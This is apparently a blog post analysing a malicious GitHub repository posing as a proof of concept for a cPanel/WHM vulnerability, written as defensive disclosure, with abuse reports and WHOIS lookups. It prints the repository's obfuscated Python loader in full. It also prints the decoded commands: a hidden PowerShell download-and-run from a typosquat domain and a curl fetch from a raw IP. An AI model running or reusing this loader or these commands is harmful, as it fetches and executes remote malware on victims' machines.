Malicious Github Repository Analysis
Malware in Github repository

Discovery
I was doing some research on CVE-2026-41940 after catching up on the Security Now podcast and looked for a PoC to better understand the the vulnerability. That's when a simple Google search turned up this repo. Looking through the exp.py. Something didn't make sense. Why is WSUS being mentioned since the vulnerability has to do with unauthenticated access to WebHost Manager (WHM)? Also why is base64 renamed/aliased to zEKFGVF0QkrW.zlib?
WARNING: Do not run this code below:
try:
import base64 as zEKFGVF0QkrW,zlib as nrMyF0EcNDsz,functools as cNVoZUXLFFit,marshal as EhSTmOZu9817;exec(EhSTmOZu9817.loads(nrMyF0EcNDsz.decompress(cNVoZUXLFFit.reduce(lambda d,k:bytes(c^k[i%len(k)] for i,c in enumerate(d)),[zEKFGVF0QkrW.b85decode(x) for x in reversed(['m0WY&`Y!6^ff~?a#E=Jx-5LX5%?WpP','u`%z-hl^%AxHtKk@+WzGz3|hfa~%+~',';Odvpxk>iVIDG\(yf6e=Rtr99DhaZ3l'])],zEKFGVF0QkrW.b85decode('yj@m`iKe+w70+@pV1GoK1t@<Cd<Qa9QYYWccctGw1&u-#ufGe&t3G3sQnqBtHLVr<^BizK#W<s>PNi~}5(6JU(aYsYuYh<sOwN#D_0iTrFs>qmDup1XR&%LQW!d|0FQla|X6UfC2T`QSQaRB&sUuSOzmgzh#epo)_zwIZ%dkjAqrn>Ce<JVFV%0AgM#{r=Y6j)#EHi;j5WH4D3XlHcV|Q6wb(9~yGscJ5|67(%-!>-{Wu5k)=&gI=Z2;n_&_|pp@!I-0mV<vK9xkcz4Dxzbfhmh=eTzwpwLo2#mggV9v2L~6Si6ygX9D7SsO1{H(Lg;O\)GnH;rG<\(oXTmXqprrsS\)Ztjx@a1V>_TVzVDBKE<?e5O|GMWYbIXiXgrUA$%J`3@&Z+N5')))))
except Exception:
pass
try:
import base64 as N7knPsOW_68l,zlib as LSfMSF863PWU,functools as oJxI1hB7crfp,marshal as JO8BTh7vxBjv;exec(JO8BTh7vxBjv.loads(LSfMSF863PWU.decompress(oJxI1hB7crfp.reduce(lambda d,k:bytes(c^k[i%len(k)] for i,c in enumerate(d)),[N7knPsOW_68l.b85decode(x) for x in reversed(['NLdCSLJGC6E%TjV*u}whUy3jm6POH9','PF?sF_#h1#V*?ZU81Shn0c_06)GTh<','s}^{Y&>~0r6@jcVXCU8aJ#985)-KK#','\(o!xJZN0MGUVDy1fCIA()p2E)5%U8X'])],N7knPsOW_68l.b85decode('9W-tHN48<n=?Z8rbyg;_mw%q=A>)n`L}eErE--Wypq(Z94*<xQe*nG8+QwzgTE`XDIGp^cMoXKrW?w-R4^D?EL0\)sCy{QK|qY;hUTGeDbd)d_E`Za&1NTz>7DbWTmF9c!2RwL+m)&Ort@Q~r)Cc1(thdhE9rAetp=jit*VzYf5uW;`m0eTSM2pqLY>)Sj@;p_{4!Lr^4H0G!L;R(OxXYQ}$E3N')))))
except Exception:
pass
This is a common obfuscation technique used by malware. To make this more clear we can feed it to an LLM. Claude code will refuse to analyze this repository, but Gemini has no qualms.
Deobfuscation
import base64, zlib, functools, marshal
# Step A: The actual encrypted program (stored as a scrambled text string)
scrambled_program = base64.b85decode('yj@m`iKe+w70+@pV1GoK1t@<Cd<Qa9QYYWccct...')
# Step B: The keys required to unlock it
keys = [
base64.b85decode(';Odvpxk>iVIDG$yf6e=Rtr99DhaZ3l'),
base64.b85decode('u`%z-hl^%AxHtKk@+WzGz3|hfa~%+~'),
base64.b85decode('m0WY&`Y!6^ff~?a#E=Jx-5LX5%?WpP')
]
# Step C: Mix the program data with the keys using math (XOR cipher)
# It loops through every single byte and modifies it using the keys.
decrypted_bytes = scrambled_program
for key in keys:
decrypted_bytes = bytes(c ^ key[i % len(key)] for i, c in enumerate(decrypted_bytes))
# Step D: Unzip the data
unzipped_program = zlib.decompress(decrypted_bytes)
# Step E: Convert the raw data into a real Python script and run it
final_code = marshal.loads(unzipped_program)
exec(final_code)
The try/except hides any errors in this process. We can determine what the actual code it's trying to run with:
import base64
import zlib
import functools
import re
print("=== SAFE STRING EXTRACTION START ===")
def extract_readable_strings(raw_bytes):
"""Finds and extracts human-readable text from raw binary data."""
# Look for sequences of printable characters at least 4 characters long
printable_strings = re.findall(rb'[a-zA-Z0-9\/...]{4,}', raw_bytes)
return [s.decode('utf-8', errors='ignore').strip() for s in printable_strings]
# --- UNPACK BLOCK 1 ---
try:
scrambled_data_1 = base64.b85decode('yj@m`iKe+w70+@pV1GoK1t@<Cd<Qa9QYYWccctGw1&u-#ufGe&t3G3sQnqBtHLVr<^BizK#W<s>PNi~}5(6JU(aYsYuYh<sOwN#D_0iTrFs>qmDup1XR&%LQW!d|0FQla|X6UfC2T`QSQaRB&sUuSOzmgzh#epo)_zwIZ%dkjAqrn>Ce<JVFV%0AgM#{r=Y6j)#EHi;j5WH4D3XlHcV|Q6wb(9~yGscJ5|67(%-!>-{Wu5k)=&gI=Z2;n_&_|pp@!I-0mV<vK9xkcz4Dxzbfhmh=eTzwpwLo2#mggV9v2L~6Si6ygX9D7SsO1{H(Lg;O\(GnH;rG<\)oXTmXqprrsS\(Ztjx@a1V>_TVzVDBKE<?e5O|GMWYbIXiXgrUA\)%J`3@&Z+N5')
keys_1 = [base64.b85decode(x) for x in reversed(['m0WY&`Y!6^ff~?a#E=Jx-5LX5%?WpP','u`%z-hl^%AxHtKk@+WzGz3|hfa~%+~',';Odvpxk>iVIDG$yf6e=Rtr99DhaZ3l'])]
# Decrypt and decompress down to raw binary data
decrypted_bytes_1 = functools.reduce(lambda d, k: bytes(c ^ k[i % len(k)] for i, c in enumerate(d)), keys_1, scrambled_data_1)
raw_payload_1 = zlib.decompress(decrypted_bytes_1)
print("\n[+] Block 1 Decrypted successfully!")
print("--- READABLE CONTENT INSIDE BLOCK 1 ---")
strings_1 = extract_readable_strings(raw_payload_1)
for s in strings_1:
if len(s) > 0:
print(f" -> {s}")
except Exception as e:
print(f"[-] Block 1 Extraction Failed: {e}")
# --- UNPACK BLOCK 2 ---
try:
scrambled_data_2 = base64.b85decode('9W-tHN48<n=?Z8rbyg;_mw%q=A>)n`L}eErE--Wypq(Z94*<xQe*nG8+QwzgTE`XDIGp^cMoXKrW?w-R4^D?EL0\(sCy{QK|qY;hUTGeDbd)d_E`Za&1NTz>7DbWTmF9c!2RwL+m)&Ort@Q~r)Cc1(thdhE9rAetp=jit*VzYf5uW;`m0eTSM2pqLY>)Sj@;p_{4!Lr^4H0G!L;R(OxXYQ}\)E3N')
keys_2 = [base64.b85decode(x) for x in reversed(['NLdCSLJGC6E%TjV*u}whUy3jm6POH9','PF?sF_#h1#V*?ZU81Shn0c_06)GTh<','s}^{Y&>~0r6@jcVXCU8aJ#985)-KK#','$o!xJZN0MGUVDy1fCIA()p2E)5%U8X'])]
decrypted_bytes_2 = functools.reduce(lambda d, k: bytes(c ^ k[i % len(k)] for i, c in enumerate(d)), keys_2, scrambled_data_2)
raw_payload_2 = zlib.decompress(decrypted_bytes_2)
print("\n[+] Block 2 Decrypted successfully!")
print("--- READABLE CONTENT INSIDE BLOCK 2 ---")
strings_2 = extract_readable_strings(raw_payload_2)
for s in strings_2:
if len(s) > 0:
print(f" -> {s}")
except Exception as e:
print(f"[-] Block 2 Extraction Failed: {e}")
print("\n=== SAFE STRING EXTRACTION END ===")
This is the output:
<main.py>:11: SyntaxWarning: invalid escape sequence '\/'
=== SAFE STRING EXTRACTION START ===
[+] Block 1 Decrypted successfully!
--- READABLE CONTENT INSIDE BLOCK 1 ---
-> ScriptRunner.exe -appvscript powershell.exe -WindowStyle Hidden -NonInteractive -Command
-> Invoke-WebRequest https://py-installer.com/api/f -OutFile tempfile13.exe
-> Invoke-Item tempfile13.exe
-> nul 2
-> shell
-> creationflags
-> subprocess
-> Popen
-> CREATE_NO_WINDOW
-> module
[+] Block 2 Decrypted successfully!
--- READABLE CONTENT INSIDE BLOCK 2 ---
-> Nz:/bin/bash -c
-> curl -fsSL http://217.156.122.146/Peravi
-> shell
-> subprocess
-> module
=== SAFE STRING EXTRACTION END ===
Whelp, that looks malicious. The Invoke-WebRequest block is using a hidden (CREASTE_NO_WINDOW) PowerShell to download an executable if run on Windows and the second block uses cURL to download a script and execute it from a different URL silently.
Endpoint Analysis
VirusTotal shows 3/92. Not a good sign:
https://www.virustotal.com/gui/url/1915751256d0710f80e06a693d6f453b46c32f10de7047f386783896ace7b514
I am running Arch Linux so I am vulnerable to the second block logic, if I had executed this.
Use WHOIS to lookup details of the py-installer.com domain:
Name: PY-INSTALLER.COM
Registry Domain ID: 3106478044_DOMAIN_COM-VRSN
Domain Status:
clientTransferProhibited
Nameservers:
DAMIAN.NS.CLOUDFLARE.COM
LUCIANA.NS.CLOUDFLARE.COM
Dates
Registry Expiration: 2027-06-02 10:51:50 UTC
Updated: 2026-06-02 10:51:51 UTC
Created: 2026-06-02 10:51:50 UTC
Registrant:
Name: REDACTED FOR PRIVACY
Organization: REDACTED FOR PRIVACY
Email: please send email to whois@ordertld.com to request the domain whois
Mailing Address: REDACTED FOR PRIVACY, REDACTED FOR PRIVACY, Fujian
ISO-3166 Code: CN
REDACTED FOR PRIVACY:
Some of the data in this object has been removed
Administrative:
Name: REDACTED FOR PRIVACY
Organization: REDACTED FOR PRIVACY
Email: please send email to whois@ordertld.com to request the domain whois
Mailing Address: REDACTED FOR PRIVACY, REDACTED FOR PRIVACY, REDACTED FOR PRIVACY
REDACTED FOR PRIVACY:
Some of the data in this object has been removed
Technical:
Name: REDACTED FOR PRIVACY
Organization: REDACTED FOR PRIVACY
Email: please send email to whois@ordertld.com to request the domain whois
Mailing Address: REDACTED FOR PRIVACY, REDACTED FOR PRIVACY, REDACTED FOR PRIVACY
REDACTED FOR PRIVACY:
Some of the data in this object has been removed
Billing:
Name: REDACTED FOR PRIVACY
Organization: REDACTED FOR PRIVACY
Email: please send email to whois@ordertld.com to request the domain whois
Mailing Address: REDACTED FOR PRIVACY, REDACTED FOR PRIVACY, REDACTED FOR PRIVACY
REDACTED FOR PRIVACY:
Some of the data in this object has been removed
IANA ID: 3254
Abuse contact email: abuse@ordertld.com
Abuse contact phone: tel:+85.281926949
About the Registrar: http://www.ordertld.com
Typical typosquating domain. Compare that with the legit https://pyinstaller.org
For the 217.156.122.146 IP address:
Handle: 217.156.122.0 - 217.156.123.255
Status:
active
Address Range: 217.156.122.0 - 217.156.123.255
IP version: v4
Name: ALEXHOST
Type: ASSIGNED PA
Country Code: MD
Parent Handle: 217.156.0.0 - 217.156.127.255
Whois Server: whois.ripe.net
Dates
Registration: 2025-02-19 08:05:06 UTC
Last changed: 2025-02-27 09:54:54 UTC
Registrant:
Handle: AS3233-MNT
Name: AS3233-MNT
Organization: ORG-RA19-RIPE
Kind: individual
Administrative:
Handle: CC22056-RIPE
Name: Constantin Croitor
Phone: +373 796 00002
Kind: individual
Mailing Address: AlexHost SRL, Str. Constantin Brancusi, Nr. 3, Chisinau, Moldova
Technical:
Handle: EC10733-RIPE
Name: Eugeniu Croitorov
Phone: +373 690 68648
Kind: individual
Mailing Address: AlexHost SRL, Str. Constantin Brancusi, Nr. 3, Chisinau, Moldova
Abuse:
Handle: ACRO59473-RIPE
Name: Abuse contact role object
Email: abuse-alexhost@rnc.ro
Kind: group
Mailing Address: ----
Registrant:
Handle: AS3233-MNT
Name: AS3233-MNT
Organization: ORG-RA19-RIPE
Kind: individual
Abuse Report
I've reported the domain and IP Address to abuse@ordertld.com and abuse-alexhost@rnc.ro. A quick look at http://www.ordertld.com doesn't inspire confidence. A Google of AlexHost does not either.
Malicious repositories have been a thing for quite some time as evidenced in this one thread.
I've also reported the repository to Github via the Report Abuse option and the IP Addresses and domains to AbuseIPDB. This was two days ago. I suspect that it will remain up for some time. This gives me an idea for a new tool to write to find malicious repositories which it seems that GitHub should already have...
Update 06-15-2026:
AbuseIPDB request approved.
Update 06-15-2026:
Github has removed the repository.




